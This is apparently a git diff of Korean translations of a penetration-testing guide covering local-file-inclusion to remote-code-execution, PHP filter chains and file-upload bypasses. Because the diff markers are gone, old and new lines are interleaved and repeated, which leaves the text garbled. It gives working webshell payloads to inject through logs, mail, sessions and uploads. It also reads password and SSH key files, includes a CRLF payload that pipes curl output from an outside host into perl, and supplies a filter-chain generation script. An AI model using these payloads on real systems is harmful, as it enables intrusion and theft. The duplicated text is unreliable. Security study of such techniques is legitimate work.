**취약할 수 있는 함수들**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
기술적인 세부사항은 앞서 언급한 글을 참고하세요!
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
서버 측 코드가 파일을 수신/업로드할 때 목적지 경로를 사용자 제어 데이터(예: 파일명이나 URL)를 사용해 canonicalising 및 검증 없이 조립하면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의 파일 쓰기를 초래할 수 있습니다. 페이로드를 web-exposed 디렉터리에 배치할 수 있다면, 보통 webshell을 올려 인증 없는 RCE를 얻을 수 있습니다.
파일을 수집/업로드하는 서버측 코드가 user-controlled data(예: filename 또는 URL)를 사용해 대상 경로를 생성하면서 canonicalising 및 검증을 하지 않으면, `..` 세그먼트와 절대 경로가 의도한 디렉터리를 벗어나 임의의 파일 쓰기를 초래할 수 있습니다. 만약 payload를 web-exposed directory 아래에 둘 수 있다면, 보통 webshell을 업로드하여 인증 없이 RCE를 얻습니다.
Typical exploitation workflow:
- 쓰기 primitive를 제공하는 엔드포인트나 백그라운드 작업을 식별합니다(경로/파일명을 받아 디스크에 내용을 쓰는 곳 — 예: 메시지 기반 수신, XML/JSON 명령 핸들러, ZIP 추출기 등).
- web-exposed 디렉터리를 파악합니다. 일반적인 예:
- path/filename을 받아 디스크에 내용을 쓰는 endpoint나 background worker에서 쓰기 primitive를 식별합니다 (예: message-driven ingestion, XML/JSON command handlers, ZIP extractors, 등).
- Determine web-exposed directories. Common examples:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 의도된 저장 디렉터리에서 webroot로 빠져나오도록 traversal 경로를 구성하고, webshell 내용을 포함시킵니다.
- 드롭된 페이로드를 브라우저로 열어 명령을 실행합니다.
- 의도한 저장 디렉터리에서 webroot로 탈출하는 traversal 경로를 만들고, webshell 내용을 포함시킵니다.
- 업로드한 payload에 접속하여 명령을 실행합니다.
Notes:
- 쓰기를 수행하는 취약한 서비스는 비-HTTP 포트에서 리스닝할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포털(다른 포트)이 나중에 귀하의 페이로드를 제공할 것입니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 문자열 연결로 구현됩니다. 정규화(canonicalisation)/허용 목록(allow-listing) 검증의 부재가 핵심 결함입니다.
- 쓰기 작업을 수행하는 취약한 서비스는 비-HTTP 포트에서 수신(listen)할 수 있습니다(예: TCP 4004의 JMF XML listener). 메인 웹 포탈(다른 포트)이 나중에 당신의 payload를 서빙할 수 있습니다.
- Java 스택에서는 이러한 파일 쓰기가 종종 단순한 `File`/`Paths` 연결로 구현됩니다. canonicalisation/allow-listing의 부재가 핵심 결함입니다.
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +465,26 @@ in.transferTo(out);
</Command>
</JMF>
```
클래스의 버그를 막는 하드닝:
- 경로를 정규화하여 canonical path로 만들고, 허용된(allow-listed) 기본 디렉터리의 하위인지 강제하세요.
- `..`, absolute roots, 또는 drive letters를 포함하는 경로는 모두 거부하세요; generated filenames를 선호하세요.
- writer를 권한이 낮은 계정으로 실행하고, 쓰기 디렉터리를 served roots와 분리하세요.
종류의 버그를 무력화하는 하드닝:
- 경로를 정규화(canonical path)하고 허용 목록에 등록된 기본 디렉터리(allow-listed base directory)의 하위인지 강제합니다.
- `..`, 절대 루트, 또는 드라이브 문자가 포함된 경로는 거부하고, 생성된 파일명(generated filenames)을 선호합니다.
- writer를 권한이 낮은 계정(low-privileged account)으로 실행하고, 쓰기 디렉터리를 서비스 루트(served roots)와 분리합니다.
## Remote File Inclusion
앞서 설명했습니다. [**follow this link**](#remote-file-inclusion).
자세한 내용은, [**follow this link**](#remote-file-inclusion).
### Apache/Nginx 로그 파일을 통해
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
Apache 또는 Nginx 서버가 include 함수 내부에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도하고, **user agent**나 **GET parameter** 안에 **`<?php system($_GET['c']); ?>`** 같은 php shell을 넣은 뒤 해당 파일을 include 해볼 수 있습니다.
> [!WARNING]
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
> 쉘에 대해 **double quotes**를 사용하고 **simple quotes**를 사용하지 않으면, double quotes가 문자열 "_**quote;**_"로 변경되어 **PHP가 오류를 발생**시키며 **다른 것은 실행되지 않습니다**.
>
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
> 또한, 페이로드(payload)를 정확히 작성해야 합니다. 그렇지 않으면 로그 파일을 불러올 때마다 PHP가 오류를 발생시키며 두 번째 기회는 없을 것입니다.
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
다른 가능한 로그 경로:
이 방법은 다른 로그에서도 가능하지만 **주의하세요,** 로그 안의 코드는 URL encoded될 수 있어 Shell이 깨질 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 인코딩된 "user:password"를 포함하며 로그 내부에서 디코딩됩니다. PHPShell은 이 헤더 안에 삽입될 수 있습니다.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -499,39 +498,39 @@ This could also be done in other logs but **be careful,** the code inside the lo
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 이메일을 통해
### 이메일
**메일 전송**: 내부 계정(user@localhost)으로 PHP payload인 `<?php echo system($_REQUEST["cmd"]); ?>`를 포함한 메일을 보내고, 다음 경로 중 하나로 사용자의 메일을 include 해 보세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
**메일을 보내세요** 내부 계정(user@localhost)으로, `<?php echo system($_REQUEST["cmd"]); ?>` 같은 PHP payload를 포함한 뒤, 사용자 메일을 include 하려고 다음 경로들 중 하나를 시도해보세요: **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\*를 통해
### Via /proc/\*/fd/\*
1. 많은 shells를 업로드하세요 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 include 하세요. 여기서 $PID = 프로세스의 PID (can be brute forced), $FD = 파일 디스크립터 (can be brute forced too)
1. 많은 shells(예: 100)를 업로드하세요.
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), 여기서 $PID는 프로세스의 PID입니다 (can be brute forced)이고 $FD는 파일 디스크립터입니다 (can be brute forced too).
### /proc/self/environ를 통해
### Via /proc/self/environ
로그 파일처럼, User-Agent에 payload를 담아 전송하면 /proc/self/environ 파일에 반영됩니다
로그 파일처럼, payload를 User-Agent에 넣어 전송하면 /proc/self/environ 파일에 반영됩니다.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### 업로드를 통해
파일을 업로드할 수 있다면, 그 안에 shell payload를 주입하세요 (예: `<?php system($_GET['c']); ?>` ).
파일을 업로드할 수 있다면, 단순히 shell payload를 파일에 주입하세요 (예: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
파일을 읽기 쉽게 유지하려면 이미지/문서/PDF의 메타데이터에 주입하는 것이 가장 좋습니다
### Via Zip fie upload
### ZIP 파일 업로드
압축된 PHP shell이 포함된 ZIP 파일을 업로드한 접근:
PHP shell이 포함된 ZIP 파일을 업로드한 접근:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP sessions를 통해
웹사이트가 PHP Session (PHPSESSID)을 사용하는지 확인하세요
웹사이트가 PHP Session (PHPSESSID)을 사용하고 있는지 확인하세요.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@ -545,83 +544,78 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI를 사용해 PHP 세션 파일을 포함하세요
LFI를 사용하여 PHP session 파일을 포함하세요
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### ssh를 통해
ssh가 활성화되어 있으면 어떤 사용자가 사용되고 있는지 (/proc/self/status & /etc/passwd) 확인하고 **\<HOME>/.ssh/id_rsa**에 접근해 보세요.
ssh가 활성화되어 있다면 어떤 사용자가 사용 중인지 (/proc/self/status & /etc/passwd)를 확인하고 **\<HOME>/.ssh/id_rsa**에 접근을 시도하세요
### **Via** **vsftpd** _**logs**_
### **를 통한** **vsftpd** _**로그**_
FTP 서버 vsftpd의 로그는 _**/var/log/vsftpd.log**_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 경우, 다음 절차를 고려할 수 있습니다:
1. 로그인 과정에서 username 필드에 PHP 페이로드를 주입합니다.
2. 주입 후 LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다.
1. 로그인 과정에서 username 필드에 PHP payload를 주입합니다.
2. 주입 후, LFI를 이용해 _**/var/log/vsftpd.log**_에서 서버 로그를 가져옵니다.
### Via php base64 filter (using base64)
### php base64 filter (base64 사용 시)
[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보이는 것처럼, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사를 우회할 수 있습니다: base64가 ".php"로 끝나도록 공급하면, filter는 "."을 무시하고 "php"를 base64에 붙입니다. 예시 payload는 다음과 같습니다:
[this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article에서 보듯, PHP base64 filter는 Non-base64를 무시합니다. 이를 이용해 파일 확장자 검사(file extension check)를 우회할 수 있습니다: 만약 base64가 ".php"로 끝나도록 제공하면, filter는 "."를 무시하고 "php"를 base64에 덧붙입니다. 예시 payload는 다음과 같습니다:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (파일 필요 없음)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)설명은 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**는 것이다. 기본적으로 이는 include에 대해 **임의의 php 코드를 생성할 수 있다**는 뜻이며, 파일로 **직접 쓰지 않아도 된다**.
### php filters를 통한 방법 (파일 불필요)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 즉, include에 사용할 **임의의 php 코드를 생성할 수 있으며** **파일로 작성할 필요 없이** 가능합니다.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
**업로드**한 파일은 `/tmp`**임시**로 저장되고, 같은 **요청에서** **segmentation fault**를 발생시키면 그 **임시 파일이 삭제되지 않아** 검색할 수 있다.
### segmentation fault를 통한 방법
파일을 업로드하면 `/tmp`에 임시로 저장됩니다. 같은 요청에서 segmentation fault를 발생시키면 임시 파일이 삭제되지 않고 해당 파일을 검색할 수 있습니다.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx 임시 파일 저장
만약 **Local File Inclusion**을 발견했고 **Nginx**가 PHP 앞에서 실행 중이라면 다음 기법으로 RCE를 얻을 수 있다:
### Nginx 임시 파일 저장을 통한 방법
Local File Inclusion을 발견했고 Nginx가 PHP 앞단에서 동작 중이라면, 다음 기법으로 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
세션이 없고 `session.auto_start``Off`여도 **Local File Inclusion**을 발견했다면, **multipart POST** 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 **세션을 활성화**한다. 이를 악용해 RCE를 얻을 수 있다:
### PHP_SESSION_UPLOAD_PROGRESS를 통한 방법
세션이 없고 `session.auto_start``Off`인 경우에도 Local File Inclusion을 발견했다면, multipart POST 데이터에 **`PHP_SESSION_UPLOAD_PROGRESS`**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via Windows에서의 임시 파일 업로드
만약 **Local File Inclusion**을 발견했고 서버가 **Windows**에서 실행 중이라면 RCE를 얻을 수도 있다:
### Windows에서 임시 파일 업로드를 통한 방법
Local File Inclusion을 발견했고 서버가 Windows에서 동작 중이라면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
### `pearcmd.php` + URL args를 통한 방법
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), 스크립트 `/usr/local/lib/phppearcmd.php`는 php docker 이미지에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 값을 인수로 사용하도록 되어 있어 URL을 통해 스크립트에 인수를 전달할 수 있습니다. 또한 [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
다음 요청은 `/tmp/hello.php`에 내용 `<?=phpinfo()?>`인 파일을 생성한다:
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
다음은 CRLF vuln을 악용 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
다음은 CRLF vuln을 악용하여 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -630,7 +624,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### phpinfo()를 통해 (file_uploads = on)
만약 **Local File Inclusion**를 발견했고 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:
만약 **Local File Inclusion**을 발견했고 phpinfo()가 노출되어 있으며 file_uploads = on이라면 RCE를 얻을 수 있습니다:
{{#ref}}
@ -639,7 +633,7 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
만약 **Local File Inclusion**를 발견했고 임시 파일의 경로를 **can exfiltrate the path** 할 수 있지만 **server**가 포함될 파일에 PHP 마크가 있는지를 **checking** 한다면, 이 **Race Condition**으로 그 검사를 **bypass that check** 시도해볼 수 있습니다:
만약 **Local File Inclusion**을 발견했고 임시 파일의 경로를 **exfiltrate**할 수 있지만 **server**가 포함할 파일에 **PHP marks**가 있는지 **checking**하고 있다면, 이 **Race Condition**으로 그 검증을 **bypass**해볼 수 있습니다:
{{#ref}}
@ -648,7 +642,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### eternal waiting + bruteforce를 통해
만약 LFI를 악용해 **upload temporary files** 하고 서버가 PHP 실행을 **hang** 하게 만들 수 있다면, 몇 시간 동안 파일명을 **brute force filenames during hours** 하여 임시 파일을 찾을 수 있습니다:
만약 LFI를 악용해 **임시 파일을 upload**할 수 있고 서버의 PHP 실행을 **hang**시키게 만들 수 있다면, 수시간에 걸쳐 파일명을 **brute force**하여 임시 파일을 찾을 수 있습니다:
{{#ref}}
@ -657,14 +651,14 @@ lfi2rce-via-eternal-waiting.md
### Fatal Error로
다음 파일들 중 하나를 포함하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (동일한 파일을 2번 포함해야 해당 오류를 발생시킬 수 있습니다).
다음 파일들 중 어느 하나를 include하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (그 오류를 발생시키려면 동일한 파일을 2번 include해야 합니다).
**이게 어떻게 유용한지는 잘 모르겠지만 가능성은 있습니다.**\
_PHP Fatal Error를 발생시키더라도 업로드된 PHP 임시 파일은 삭제됩니다._
**이게 어떻게 유용한지는 모르겠지만 가능성은 있어 보입니다.**\
_설령 PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일들은 삭제됩니다._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## 참고자료
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

View File

@ -5,36 +5,36 @@
## 소개
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)은 **php filters를 사용해 임의의 콘텐츠를 생성**할 수 있다고 설명합니다. 즉 include를 위해 파일에 쓰지 않고도 **임의의 php 코드를 생성**할 수 있다는 뜻입니다.
이 [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)에서는 **php filters를 사용해 임의의 콘텐츠를 출력으로 생성할 수 있다**고 설명합니다. 요컨대, 파일에 **직접 쓰지 않고도** include에 사용할 **임의의 php 코드를 생성할 수 있다는 것**입니다.
기본적으로 스크립트의 목표는 파일의 시작 부분에 **Base64 문자열을 생성**하고, 이 문자열이 최종적으로 디코드되어 원하는 페이로드를 제공하고 `include`에 의해 해석되도록 하는 것입니다.
스크립트의 목표는 파일의 **처음 부분에 Base64 문자열을 생성**하고, 최종적으로 이 문자열을 **디코딩하여** 원하는 페이로드를 제공하고, 그 결과를 `include`가 **해석하도록 하는 것**입니다.
를 위한 기본 원리는:
방법의 기본은 다음과 같습니다:
- `convert.iconv.UTF8.CSISO2022KR`는 항상 문자열 앞에 `\x1b$)C`추가합니다
- `convert.base64-decode`는 매우 관대해서 유효한 base64가 아닌 문자는 사실상 무시합니다. 예상치 못한 "="를 만나면 문제가 생기지만 이는 `convert.iconv.UTF8.UTF7` 필터로 제거할 수 있습니다.
- `convert.iconv.UTF8.CSISO2022KR`는 항상 문자열 앞에 `\x1b$)C`덧붙입니다
- `convert.base64-decode`는 매우 관대해서, 유효한 base64가 아닌 문자는 거의 무시합니다. 예기치 않은 "="가 나오면 문제가 발생할 수 있는데, 이는 `convert.iconv.UTF8.UTF7` 필터로 제거할 수 있습니다.
임의의 콘텐츠를 생성하는 반복 과정은 다음과 같습니다:
1. 위에서 설명한 대로 문자열 앞에 `\x1b$)C`를 붙입니다
2. 초기 base64를 그대로 두고, 방금 붙인 부분을 변환해서 그 부분의 유효한 base64 문자가 다음 base64-인코딩된 php 코드의 다음 부분만 되도록 하는 iconv 변환 체인을 적용합니다
3. 문자열을 base64-decode한 다음 다시 base64-encode합니다. 이렇게 하면 중간의 불필요한 문자가 제거됩니다
4. 원하는 base64를 모두 구성하지 못했다면 1번으로 돌아갑니다
5. 마지막으로 base64-decode하여 php 코드를 얻습니다
1. 위에서 설명한 대로 문자열 앞에 `\x1b$)C`붙입니다
2. 초기 base64는 그대로 두고, 우리가 방금 덧붙인 부분을 다음 부분의 base64 인코딩된 php 코드의 유효한 base64 문자만 남기도록 변환하는 일련의 iconv 변환 체인을 적용합니다
3. 문자열을 base64-decode하고 base64-encode하면 중간의 불필요한 데이터가 제거됩니다
4. 원하는 base64가 아직 완성되지 않았다면 1로 돌아갑니다
5. php 코드를 얻기 위해 base64-decode 합니다
> [!WARNING]
> **Includes**는 보통 파일 끝에 **".php"를 붙이는** 등의 처리를 합니다. 이 때문에 exploit을 어렵게 만들 수 있는데, 이는 exploit을 방해하지 않는 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용**하면 이름에 무엇이든 덧붙일 수 있기 때문에(예: lie + ".php") 여전히 exploit이 작동하도록 할 수 있습니다!
> **Includes**는 보통 파일명 끝에 **".php"를 덧붙이는** 등의 처리를 하므로, 이로 인해 익스플로잇이 어려워질 수 있습니다 — exploit을 방해하지 않는 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용**하면 이름에 아무것이나 덧붙여도 (lie +".php") 여전히 익스플로잇이 동작하게 할 수 있습니다!
## 결과 데이터에 접미사 추가하는 방법
## How to add also suffixes to the resulting data
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)는 PHP filters를 이용해 결과 문자열에 접미사(예: json 형식이나 PNG 매직 바이트)를 추가하는 방법을 설명합니다. 출력이 특정 형식을 가져야 할 때 유용합니다.
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. 이것은 출력이 특정 형식(예: json이나 PNG 매직 바이트 추가)을 가져야 할 때 유용합니다.
## 자동화 도구
## Automatic Tools
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## 전체 스크립트
## Full script
```python
import requests
@ -94,9 +94,9 @@ r = requests.get(url, params={
print(r.text)
```
### 개선 사항
### 개선사항
이전 스크립트는 해당 payload에 필요한 base64 문자로만 제한되어 있습니다. 따라서 저는 **bruteforce all the base64 characters** 하기 위해 자체 스크립트를 만들었습니다:
이전 스크립트는 해당 payload에 필요한 base64 문자로 제한되어 있었습니다. 따라서 저는 **bruteforce all the base64 characters**를 위해 자체 스크립트를 만들었습니다:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -165,7 +165,7 @@ conversions = {
'=': ''
}
```
다음은 각 b64 문자를 생성하는 인코딩을 얻기 위한 **script**입니다:
각 b64 문자에 대응하는 인코딩을 얻기 위한 **script**는 다음과 같습니다:
```php
<?php
@ -251,7 +251,7 @@ find_vals($init);
}
?>
```
## 참고 자료
## 추가 참고 자료
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

View File

@ -4,7 +4,7 @@
## 파일 업로드 일반 방법론
Other useful extensions:
다음은 유용한 확장자들입니다:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -17,11 +17,11 @@ Other useful extensions:
### 파일 확장자 검사 우회
1. 적용된다면, **이전 목록의 확장자들을 확인**하세요. 또한 일부 **대문자**로도 테스트하세요: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 유효한 확장자를 **추가**해보세요 (이전 확장자들도 사용):_
1. 적용된다면, 이전에 언급한 확장자들을 확인하세요. 또한 대문자 조합으로도 테스트해보세요: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 유효한 확장자를 추가해보세요 (이전 확장자들도 사용):_
- _file.png.php_
- _file.png.Php5_
3. 파일명 끝에 **특수문자**를 추가해보세요. Burp로 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급한 **확장자들**을 이용해 시도할 수도 있습니다_)
3. 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급된 확장자들을 함께 시도할 수도 있습니다_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. **확장자 파서**를 속이는 방식으로 보호를 우회해보세요. 예: **확장자 중복** 또는 확장자 사이에 **정크 데이터(널 바이트 등)** 추가. _더 나은 페이로드를 위해 이전 확장자들을 함께 사용하세요._
4. 서버 측의 확장자 파서를 속이는 방식으로 방어를 우회해보세요. 예: 확장자를 중복하거나 확장자 사이에 쓰레기 데이터(**null** 바이트 등)를 추가하는 기법. _더 나은 페이로드를 위해 이전 확장자들을 함께 사용할 수도 있습니다._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -43,9 +43,9 @@ Other useful extensions:
5. 이전 검사에 **추가 확장자 레이어**를 더해보세요:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **실행 확장자를 유효한 확장자 앞에 넣어** 서버가 잘못 구성된 경우를 노리세요. (Apache에서 확장자가 `.php`를 포함하면 실행되는 설정을 악용할 때 유용)
6. **실행 확장자**를 유효한 확장자 앞에 두고 서버가 잘못 구성되었기를 기대해보세요. (예: Apache의 잘못된 설정을 이용하면 확장자가 .php를 포함하면 끝나지 않아도 코드가 실행될 수 있습니다):
- _ex: file.php.png_
7. **Windows의 NTFS alternate data stream (ADS)** 사용을 시도하세요. 이 경우 금지된 확장자 뒤와 허용된 확장자 사이에 콜론 ":"이 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성될 수 있습니다 (예: "file.asax:.jpg"). 이 파일은 이후 다른 기법으로 편집될 수 있습니다(예: 짧은 파일명 사용). "**::$data**” 패턴을 사용해 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.")
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":"이 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg"). 이 파일은 나중에 짧은 파일명(short filename) 등을 이용해 편집될 수 있습니다. "**::$data**” 패턴을 사용해 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것은 추가 제한을 우회하는 데 유용할 수 있습니다(예: "file.asp::$data.")
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
```
@ -59,55 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, Magic Number, 압축 및 리사이즈 우회
### Content-Type, Magic Number, Compression 및 Resizing 우회
- **Content-Type** 검사를 우회하려면 요청의 **Content-Type 헤더** 값을 다음으로 설정해보세요: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **워드리스트**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** 검사를 우회하려면 파일 시작 부분에 실제 이미지의 **바이트**를 추가해 `file` 명령을 혼동시키거나, 셸 코드를 **메타데이터** 안에 넣으세요:\
